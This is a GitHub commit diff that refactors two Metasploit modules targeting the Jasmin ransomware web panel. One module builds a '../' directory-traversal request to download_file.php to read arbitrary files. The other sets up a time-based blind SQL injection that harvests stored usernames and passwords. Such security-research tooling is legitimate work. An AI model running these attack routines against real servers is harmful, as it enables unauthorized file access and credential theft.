Skip to content

Commit 8240b86

Browse files
committed
reviews for jasmin ransomware panel
1 parent 9c030b0 commit 8240b86

File tree

2 files changed

+16
-8
lines changed

2 files changed

+16
-8
lines changed

modules/auxiliary/gather/jasmin_ransomware_dir_traversal.rb

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
class MetasploitModule < Msf::Auxiliary
77
include Msf::Auxiliary::Report
88
include Msf::Exploit::Remote::HttpClient
9-
include Msf::Auxiliary::Scanner
109

1110
def initialize(info = {})
1211
super(
@@ -47,27 +46,33 @@ def initialize(info = {})
4746
)
4847
end
4948

50-
def run_host(ip)
49+
def check
5150
res = send_request_cgi(
5251
'uri' => normalize_uri(target_uri.path)
5352
)
53+
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
54+
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
5455

55-
fail_with(Failure::NotFound, 'Check TARGETURI, Jasmin Dashboard not detected') unless res.body.include? '<title>Jasmin Dashboard</title>'
56+
Exploit::CheckCode::Detected('Jasmin Login page detected') if res.body.include? '<title>Jasmin Dashboard</title>'
57+
end
5658

59+
def run
5760
res = send_request_cgi(
5861
'uri' => normalize_uri(target_uri.path, 'download_file.php'),
5962
'vars_get' => {
6063
'file' => "#{'../' * datastore['DEPTH']}#{datastore['FILE']}"
6164
}
6265
)
66+
fail_with(Failure::Unknown, 'No response from server') if res.nil?
6367
fail_with(Failure::NotFound, 'Check FILE or DEPTH, file not found on server') if res.body.empty?
68+
fail_with(Failure::UnexpectedReply, "Server returned an unexpected HTTP code: #{res.code}") unless res.code == 200
6469

6570
print_good(res.body)
6671
# store loot
6772
path = store_loot(
6873
'jasmin.webpanel.dir.traversal',
6974
'text/plain',
70-
ip,
75+
datastore['rhost'],
7176
res.body,
7277
File.basename(datastore['FILE'])
7378
)

modules/auxiliary/gather/jasmin_ransomware_sqli.rb

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Auxiliary::Report
88
include Msf::Exploit::Remote::HttpClient
99
include Msf::Exploit::SQLi
10-
include Msf::Auxiliary::Scanner
1110

1211
def initialize(info = {})
1312
super(
@@ -49,13 +48,17 @@ def initialize(info = {})
4948
)
5049
end
5150

52-
def run_host(ip)
51+
def check
5352
res = send_request_cgi(
5453
'uri' => normalize_uri(target_uri.path)
5554
)
55+
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
56+
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
5657

57-
fail_with(Failure::NotFound, 'Check TARGETURI, Jasmin Dashboard not detected') unless res.body.include? '<title>Jasmin Dashboard</title>'
58+
Exploit::CheckCode::Detected('Jasmin Login page detected') if res.body.include? '<title>Jasmin Dashboard</title>'
59+
end
5860

61+
def run
5962
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
6063
check_char = Rex::Text.rand_text_alpha_lower(5)
6164
res = send_request_cgi({
@@ -88,7 +91,7 @@ def run_host(ip)
8891
private_type: :password,
8992
private_data: user[1],
9093
service_name: 'Jasmin Webpanel',
91-
address: ip,
94+
address: datastore['RHOST'],
9295
port: datastore['RPORT'],
9396
protocol: 'tcp',
9497
status: Metasploit::Model::Login::Status::UNTRIED

0 commit comments

Comments
 (0)